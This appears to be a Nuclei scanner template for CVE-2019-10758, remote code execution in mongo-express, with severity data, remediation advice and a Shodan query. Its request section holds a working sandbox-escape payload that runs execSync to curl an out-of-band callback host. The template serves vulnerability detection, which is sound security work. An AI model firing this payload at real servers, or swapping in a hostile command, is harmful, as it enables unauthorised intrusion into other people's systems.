45 lines
1.7 KiB
YAML
45 lines
1.7 KiB
YAML
id: CVE-2019-10758
|
|
|
|
info:
|
|
name: mongo-express Remote Code Execution
|
|
author: princechaddha
|
|
severity: critical
|
|
description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
|
|
remediation: Upgrade mongo-express to version 0.54.0 or higher.
|
|
reference:
|
|
- https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-10758
|
|
- https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
|
|
cvss-score: 9.9
|
|
cve-id: CVE-2019-10758
|
|
epss-score: 0.97406
|
|
epss-percentile: 0.99908
|
|
cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: mongo-express_project
|
|
product: mongo-express
|
|
framework: node.js
|
|
shodan-query: http.title:"Mongo Express"
|
|
tags: vulhub,cve,cve2019,mongo,mongo-express,kev
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /checkValid HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Authorization: Basic YWRtaW46cGFzcw==
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")
|
|
|
|
matchers:
|
|
- type: word
|
|
part: interactsh_protocol # Confirms the HTTP Interaction
|
|
words:
|
|
- "http"
|
|
|
|
# digest: 490a0046304402200b6b6313c06688efa9d13af114ed306564639b254e669f63dd9a3333c523466e02204f45a5587ab468e49633b33599f6ab90c5a86642e6dacec2961d311d4ccf764c:922c64590222798bb761d5b6d8e72950
|